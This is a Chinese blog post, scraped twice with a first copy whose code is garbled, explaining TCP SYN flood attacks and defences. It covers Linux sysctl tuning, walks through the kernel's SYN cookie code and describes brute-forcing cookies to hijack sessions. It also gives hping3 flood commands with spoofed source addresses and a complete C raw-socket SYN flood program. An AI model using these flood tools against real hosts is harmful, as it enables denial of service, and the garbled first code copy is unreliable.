    变换端口很容易做到,攻击者可以使用任意端口。

    攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)

    hping3

    hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。

    用下面的命令可以很容易就发起SYN攻击:

     

    [plain] view plaincopy在CODE上查看代码片派生到我的代码片
    1. sudo hping3 --flood -S -p 9999  x.x.x.x  
    2. #random source address  
    3. sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x  

     

    --flood 是不间断发包的意思

    -S         是SYN包的意思

    更多的选项,可以man hping3 查看文档,有详细的说明。

    如果是条件允许,可以伪造IP地址的话,可以用--rand-source参数来伪造。

    我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

    我用两个美国的主机来测试,使用

    sudo hping3 --flood -S  -p 9999  x.x.x.x

    发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:


    为什么会这样呢?下面再解析。

    防御者角度

    当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:

     

    [plain] view plaincopy在CODE上查看代码片派生到我的代码片
    1. kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.  

    这个也有可能是SNMP协议误报,下面再解析。

     

    从防御者的角度来看,主要有以下的措施:

     

    • 内核参数的调优
    • 防火墙禁止掉部分IP

     

    linux内核参数调优主要有下面三个:

     

    • 增大tcp_max_syn_backlog
    • 减小tcp_synack_retries
    • 启用tcp_syncookies

     

    tcp_max_syn_backlog

    从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。

    所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

    tcp_synack_retries

    这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。

    为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。

    tcp_syncookies

    根据man tcp手册,tcp_syncookies是这样解析的:

           tcp_syncookies (Boolean; since Linux 2.2)
                  Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
                  syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
                  flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
                  and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
                  It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
                  ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
                  tcp_abort_on_overflow.

    当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。

    手册上只给出了模糊的说明,具体的实现没有提到。

    linux下SYN cookie的实现

    查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上

    SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。

    在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。

    n即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的

    首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。

    另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。

    linux是这样实现的:

    1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;

    2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:

    1. static __u16 const msstab[]  
    2.     536,  
    3.     1300,  
    4.     1440,     
    5.     1460,  
    6. };  

     

     

    比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:

     

    1.   
    2. u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,  
    3.                   u16 *mssp)  
    4.  
    5.     int mssind;  
    6.     const __u16 mss *mssp;  
    7.   
    8.     for (mssind ARRAY_SIZE(msstab) 1; mssind mssind--)  
    9.         if (mss >= msstab[mssind])  
    10.             break 
    11.     *mssp msstab[mssind];  
    12.   
    13.     return secure_tcp_syn_cookie(iph->saddr, iph->daddr,  
    14.                      th->source, th->dest, ntohl(th->seq),  
    15.                      mssind);  
    16.  

     

    比较客户发过来的mms,取一个比客户发过来的值还要小的mms。

    真正的算法在这个函数里:

     

    1. static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,  
    2.                    __be16 dport, __u32 sseq, __u32 data)  
    3.  
    4.       
    5.     u32 count tcp_cookie_time();  
    6.     return (cookie_hash(saddr, daddr, sport, dport, 0, 0)  
    7.         sseq (count << COOKIEBITS)  
    8.         ((cookie_hash(saddr, daddr, sport, dport, count, 1) data)  
    9.          COOKIEMASK));  
    10.  


     

    data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。

    这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。


    当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:

    1.   
    2. int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,  
    3.               u32 cookie)  
    4.  
    5.     __u32 seq ntohl(th->seq) 1;  
    6.     __u32 mssind check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,  
    7.                         th->source, th->dest, seq);  
    8.   
    9.   
    10.     return mssind ARRAY_SIZE(msstab) msstab[mssind] 0;  
    11.  


    先得到原来的seq,再调用check_tcp_syn_cookie函数:

    1.   
    2. static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,  
    3.                   __be16 sport, __be16 dport, __u32 sseq)  
    4.  
    5.     u32 diff, count tcp_cookie_time();  
    6.   
    7.   
    8.       
    9.     cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) sseq;  
    10.   
    11.   
    12.       
    13.     diff (count (cookie >> COOKIEBITS)) ((__u32) -1 >> COOKIEBITS);  
    14.     if (diff >= MAX_SYNCOOKIE_AGE)  
    15.         return (__u32)-1;  
    16.   
    17.   
    18.     return (cookie  
    19.         cookie_hash(saddr, daddr, sport, dport, count diff, 1))  
    20.         COOKIEMASK;     
    21.  


    先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
    如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
    否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
    可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。

    但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。

    更强大的攻击者

    SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。

    因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。

    攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。

    有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。

    刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。

    所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。

    值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。

    详细的攻击说明:http://www.91ri.org/7075.html

    一个用raw socket SYN flood攻击的代码

    下面给出一个tcp syn flood的攻击的代码:

     

    1. #include   
    2. #include   
    3. #include   
    4. #include   
    5. #include   
    6. #include   
    7. #include   
    8. #include   
    9. #include   
    10. #include   
    11. #include   
    12.   
    13. #pragma pack(1)  
    14. struct pseudo_header    //needed for checksum calculation  
    15.  
    16.     unsigned int source_address;  
    17.     unsigned int dest_address;  
    18.     unsigned char placeholder;  
    19.     unsigned char protocol;  
    20.     unsigned short tcp_length;  
    21.   
    22.     struct tcphdr tcp;  
    23. };  
    24. #pragma pack()  
    25.   
    26. unsigned short csum(unsigned short *ptr, int nbytes)  
    27. "white-space:pre" long sum;  
    28. "white-space:pre" unsigned short oddbyte;  
    29. "white-space:pre" short answer;  
    30.   
    31.   
    32. "white-space:pre" sum 0;  
    33. "white-space:pre" while (nbytes 1)  
    34. "white-space:pre"     sum += *ptr++;  
    35. "white-space:pre"     nbytes -= 2;  
    36. "white-space:pre"  
    37. "white-space:pre" if (nbytes == 1)  
    38. "white-space:pre"     oddbyte 0;  
    39. "white-space:pre"     *((u_char*) &oddbyte) *(u_char*) ptr;  
    40. "white-space:pre"     sum += oddbyte;  
    41. "white-space:pre"  
    42.   
    43. "white-space:pre" sum (sum >> 16) (sum 0xffff);  
    44. "white-space:pre" sum sum (sum >> 16);  
    45. "white-space:pre" answer (short~sum;  
    46.   
    47.   
    48. "white-space:pre" return (answer);  
    49.  
    50.   
    51. void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,  
    52.         in_addr_t destination, u_int16_t destinationPort)  
    53.     static char sendBuf[sizeof(iphdr) sizeof(tcphdr)] };  
    54.     bzero(sendBuf, sizeof(sendBuf));  
    55.   
    56.     struct iphdr* ipHeader (iphdr*) sendBuf;  
    57.     struct tcphdr *tcph (tcphdr*) (sendBuf sizeof(iphdr));  
    58.   
    59.     ipHeader->version 4;  
    60.     ipHeader->ihl 5;  
    61.   
    62.     ipHeader->tos 0;  
    63.     ipHeader->tot_len htons(sizeof(sendBuf));  
    64.   
    65.     ipHeader->id htons(1);  
    66.     ipHeader->frag_off 0;  
    67.     ipHeader->ttl 254;  
    68.     ipHeader->protocol IPPROTO_TCP;  
    69.     ipHeader->check 0;  
    70.     ipHeader->saddr source;  
    71.     ipHeader->daddr destination;  
    72.   
    73.     ipHeader->check csum((unsigned short*) ipHeader, ipHeader->ihl 2);  
    74.   
    75.     //TCP Header  
    76.     tcph->source htons(sourcePort);  
    77.     tcph->dest htons(destinationPort);  
    78.     tcph->seq 0;  
    79.     tcph->ack_seq 0;  
    80.     tcph->doff 5; //sizeof(tcphdr)/4  
    81.     tcph->fin 0;  
    82.     tcph->syn 1;  
    83.     tcph->rst 0;  
    84.     tcph->psh 0;  
    85.     tcph->ack 0;  
    86.     tcph->urg 0;  
    87.     tcph->window htons(512);  
    88.     tcph->check 0;  
    89.     tcph->urg_ptr 0;  
    90.   
    91.     //tcp header checksum  
    92.     struct pseudo_header pseudoHeader;  
    93.     pseudoHeader.source_address source;  
    94.     pseudoHeader.dest_address destination;  
    95.     pseudoHeader.placeholder 0;  
    96.     pseudoHeader.protocol IPPROTO_TCP;  
    97.     pseudoHeader.tcp_length htons(sizeof(tcphdr));  
    98.     memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));  
    99.   
    100.     tcph->check csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));  
    101.   
    102.     struct sockaddr_in sin;  
    103.     sin.sin_family AF_INET;  
    104.     sin.sin_port htons(sourcePort);  
    105.     sin.sin_addr.s_addr destination;  
    106.   
    107.     ssize_t sentLen sendto(socketfd, sendBuf, sizeof(sendBuf), 0,  
    108.             (struct sockaddr *) &sin, sizeof(sin));  
    109.     if (sentLen == -1)  
    110.         perror("sent error");  
    111.      
    112.  
    113.   
    114. int main(void 
    115.     //for setsockopt  
    116.     int optval 1;  
    117.   
    118.     //create raw socket  
    119.     int socketfd socket(PF_INET, SOCK_RAW, IPPROTO_TCP);  
    120.     if (socketfd == -1)  
    121.         perror("create socket:");  
    122.         exit(0);  
    123.      
    124.     if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))  
    125.             0)  
    126.         perror("create socket:");  
    127.         exit(0);  
    128.      
    129.   
    130.     in_addr_t source inet_addr("192.168.1.100");  
    131.     in_addr_t destination inet_addr("192.168.1.101");  
    132.     u_int16_t sourcePort 1;  
    133.     u_int16_t destinationPort 9999;  
    134.     while (1)  
    135.         oneSyn(socketfd, source, sourcePort++, destination,  
    136.                 destinationPort);  
    137.         sourcePort %= 65535;  
    138.         sleep(1);  
    139.      
    140.   
    141.     return 0;  
    142.  


    总结:

    对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。

     

    • 增大tcp_max_syn_backlog
    • 减小tcp_synack_retries
    • 启用tcp_syncookies

    貌似现在的内核默认都是开启tcp_syncookies的。

     

    参考:

    http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

    man tcp

    http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

    http://en.wikipedia.org/wiki/SYN_cookies

    https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

    http://www.91ri.org/7075.html

    展开全文
  • 扯谈网络编程之Tcp SYN flood洪水攻击

    万次阅读 2019-01-13 23:08:57
    update 2017-5-11: syncookies 会点用 tcp_options 字段空间,会强制关闭 tcp 高级流控技术而退化成原始 tcp 模式。此模式会导致 封包 丢失时 对端 要等待 MSL 时间来发现丢包事件并重试,以及关闭连接时 TIME_WAIT...

     

    update 2017-5-11: syncookies 会点用 tcp_options 字段空间,会强制关闭 tcp 高级流控技术而退化成原始 tcp 模式。此模式会导致 封包 丢失时 对端 要等待 MSL 时间来发现丢包事件并重试,以及关闭连接时 TIME_WAIT 状态保持 2MSL 时间。

     

    简介

    TCP协议要经过三次握手才能建立连接:

    (from wiki)

    于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。

    攻与防

    攻击者角度

    从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:

     

    • 变换端口
    • 伪造IP

     

    变换端口很容易做到,攻击者可以使用任意端口。

    攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)

    hping3

    hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。

    用下面的命令可以很容易就发起SYN攻击:

     

    sudo hping3 --flood -S -p 9999  x.x.x.x
    #random source address
    sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x

     

    --flood 是不间断发包的意思

    -S         是SYN包的意思

    更多的选项,可以man hping3 查看文档,有详细的说明。

    如果是条件允许,可以伪造IP地址的话,可以用--rand-source参数来伪造。

    我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

    我用两个美国的主机来测试,使用

    sudo hping3 --flood -S  -p 9999  x.x.x.x

    发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:

    为什么会这样呢?下面再解析。

    防御者角度

    当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:

     

    kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.

    这个也有可能是SNMP协议误报,下面再解析。

     

    从防御者的角度来看,主要有以下的措施:

     

    • 内核参数的调优
    • 防火墙禁止掉部分IP

     

    linux内核参数调优主要有下面三个:

     

    • 增大tcp_max_syn_backlog
    • 减小tcp_synack_retries
    • 启用tcp_syncookies

     

    tcp_max_syn_backlog

    从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。

    所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

    tcp_synack_retries

    这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。

    为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。

    tcp_syncookies

    根据man tcp手册,tcp_syncookies是这样解析的:

           tcp_syncookies (Boolean; since Linux 2.2)
                  Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
                  syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
                  flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
                  and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
                  It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
                  ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
                  tcp_abort_on_overflow.

    当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。

    手册上只给出了模糊的说明,具体的实现没有提到。

    linux下SYN cookie的实现

    查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上

    SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。

    在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。

    n即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的

    首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。

    另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。

    linux是这样实现的:

    1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;

    2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:

    static __u16 const msstab[] = {
    	536,
    	1300,
    	1440,	/* 1440, 1452: PPPoE */
    	1460,
    };

     

     

    比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:

     

    /*
     * Generate a syncookie.  mssp points to the mss, which is returned
     * rounded down to the value encoded in the cookie.
     */
    u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
    			      u16 *mssp)
    {
    	int mssind;
    	const __u16 mss = *mssp;
    
    	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
    		if (mss >= msstab[mssind])
    			break;
    	*mssp = msstab[mssind];
    
    	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
    				     th->source, th->dest, ntohl(th->seq),
    				     mssind);
    }

     

    比较客户发过来的mms,取一个比客户发过来的值还要小的mms。

    真正的算法在这个函数里:

     

    static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
    				   __be16 dport, __u32 sseq, __u32 data)
    {
    	/*
    	 * Compute the secure sequence number.
    	 * The output should be:
    	 *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
    	 *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
    	 * Where sseq is their sequence number and count increases every
    	 * minute by 1.
    	 * As an extra hack, we add a small "data" value that encodes the
    	 * MSS into the second hash value.
    	 */
    	u32 count = tcp_cookie_time();
    	return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
    		sseq + (count << COOKIEBITS) +
    		((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
    		 & COOKIEMASK));
    }

     

     

     

    data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。

    这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。

     

    当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:

    /*
     * Check if a ack sequence number is a valid syncookie.
     * Return the decoded mss if it is, or 0 if not.
     */
    int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
    		      u32 cookie)
    {
    	__u32 seq = ntohl(th->seq) - 1;
    	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
    					    th->source, th->dest, seq);
    
    
    	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
    }


    先得到原来的seq,再调用check_tcp_syn_cookie函数:

     

    /*
     * This retrieves the small "data" value from the syncookie.
     * If the syncookie is bad, the data returned will be out of
     * range.  This must be checked by the caller.
     *
     * The count value used to generate the cookie must be less than
     * MAX_SYNCOOKIE_AGE minutes in the past.
     * The return value (__u32)-1 if this test fails.
     */
    static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
    				  __be16 sport, __be16 dport, __u32 sseq)
    {
    	u32 diff, count = tcp_cookie_time();
    
    
    	/* Strip away the layers from the cookie */
    	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
    
    
    	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
    	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
    	if (diff >= MAX_SYNCOOKIE_AGE)
    		return (__u32)-1;
    
    
    	return (cookie -
    		cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
    		& COOKIEMASK;	/* Leaving the data behind */
    }


    先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
    如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
    否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
    可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。

    但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。

    更强大的攻击者

    SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。

    因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。

    攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。

    有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。

    刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。

    所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。

    值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。

    详细的攻击说明:http://www.91ri.org/7075.html

    一个用raw socket SYN flood攻击的代码

    下面给出一个tcp syn flood的攻击的代码:

     

    #include <stdio.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <netinet/tcp.h>
    #include <netinet/ip.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    #pragma pack(1)
    struct pseudo_header    //needed for checksum calculation
    {
    	unsigned int source_address;
    	unsigned int dest_address;
    	unsigned char placeholder;
    	unsigned char protocol;
    	unsigned short tcp_length;
    
    	struct tcphdr tcp;
    };
    #pragma pack()
    
    unsigned short csum(unsigned short *ptr, int nbytes) {
     long sum;
     unsigned short oddbyte;
     short answer;
    
     sum = 0;
     while (nbytes > 1) {
       sum += *ptr++;
       nbytes -= 2;
     }
     if (nbytes == 1) {
       oddbyte = 0;
       *((u_char*) &oddbyte) = *(u_char*) ptr;
       sum += oddbyte;
     }
    
     sum = (sum >> 16) + (sum & 0xffff);
     sum = sum + (sum >> 16);
     answer = (short) ~sum;
    
     return (answer);
    }
    
    void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
    		in_addr_t destination, u_int16_t destinationPort) {
    	static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
    	bzero(sendBuf, sizeof(sendBuf));
    
    	struct iphdr* ipHeader = (iphdr*) sendBuf;
    	struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));
    
    	ipHeader->version = 4;
    	ipHeader->ihl = 5;
    
    	ipHeader->tos = 0;
    	ipHeader->tot_len = htons(sizeof(sendBuf));
    
    	ipHeader->id = htons(1);
    	ipHeader->frag_off = 0;
    	ipHeader->ttl = 254;
    	ipHeader->protocol = IPPROTO_TCP;
    	ipHeader->check = 0;
    	ipHeader->saddr = source;
    	ipHeader->daddr = destination;
    
    	ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);
    
    	//TCP Header
    	tcph->source = htons(sourcePort);
    	tcph->dest = htons(destinationPort);
    	tcph->seq = 0;
    	tcph->ack_seq = 0;
    	tcph->doff = 5; //sizeof(tcphdr)/4
    	tcph->fin = 0;
    	tcph->syn = 1;
    	tcph->rst = 0;
    	tcph->psh = 0;
    	tcph->ack = 0;
    	tcph->urg = 0;
    	tcph->window = htons(512);
    	tcph->check = 0;
    	tcph->urg_ptr = 0;
    
    	//tcp header checksum
    	struct pseudo_header pseudoHeader;
    	pseudoHeader.source_address = source;
    	pseudoHeader.dest_address = destination;
    	pseudoHeader.placeholder = 0;
    	pseudoHeader.protocol = IPPROTO_TCP;
    	pseudoHeader.tcp_length = htons(sizeof(tcphdr));
    	memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));
    
    	tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));
    
    	struct sockaddr_in sin;
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(sourcePort);
    	sin.sin_addr.s_addr = destination;
    
    	ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
    			(struct sockaddr *) &sin, sizeof(sin));
    	if (sentLen == -1) {
    		perror("sent error");
    	}
    }
    
    int main(void) {
    	//for setsockopt
    	int optval = 1;
    
    	//create a raw socket
    	int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    	if (socketfd == -1) {
    		perror("create socket:");
    		exit(0);
    	}
    	if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
    			< 0) {
    		perror("create socket:");
    		exit(0);
    	}
    
    	in_addr_t source = inet_addr("192.168.1.100");
    	in_addr_t destination = inet_addr("192.168.1.101");
    	u_int16_t sourcePort = 1;
    	u_int16_t destinationPort = 9999;
    	while (1) {
    		oneSyn(socketfd, source, sourcePort++, destination,
    				destinationPort);
    		sourcePort %= 65535;
    		sleep(1);
    	}
    
    	return 0;
    }

     

     

     

     

     

     

    总结:

    对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。

     

    • 增大tcp_max_syn_backlog
    • 减小tcp_synack_retries
    • 启用tcp_syncookies

    貌似现在的内核默认都是开启tcp_syncookies的。

     

    参考:

    http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

    man tcp

    http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

    http://en.wikipedia.org/wiki/SYN_cookies

    https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

    http://www.91ri.org/7075.html

     

    公众号

    欢迎关注公众号:横云断岭的专栏,专注分享Java,Spring Boot,Arthas,Dubbo。

    横云断岭的专栏

    展开全文
  • TCP--SYN洪水攻击

    2015-08-07 11:46:02
    在查看TCP标识位SYN时,顺便关注了一下SYN Flood,从网上查阅一些资料加以整理,SYN洪水攻击利用TCP三次握手。 1.SYN洪水介绍 当一个系统(客户端C)尝试和一个提供了服务的系统(服务器S)建立TCP连接,...

    在查看TCP标识位SYN时,顺便关注了一下SYN Flood,从网上查阅一些资料加以整理,SYN洪水攻击利用TCP三次握手。

    1.SYN洪水介绍

    当一个系统(客户端C)尝试和一个提供了服务的系统(服务器S)建立TCP连接,客户端C和服务端S会交换一系列报文。 

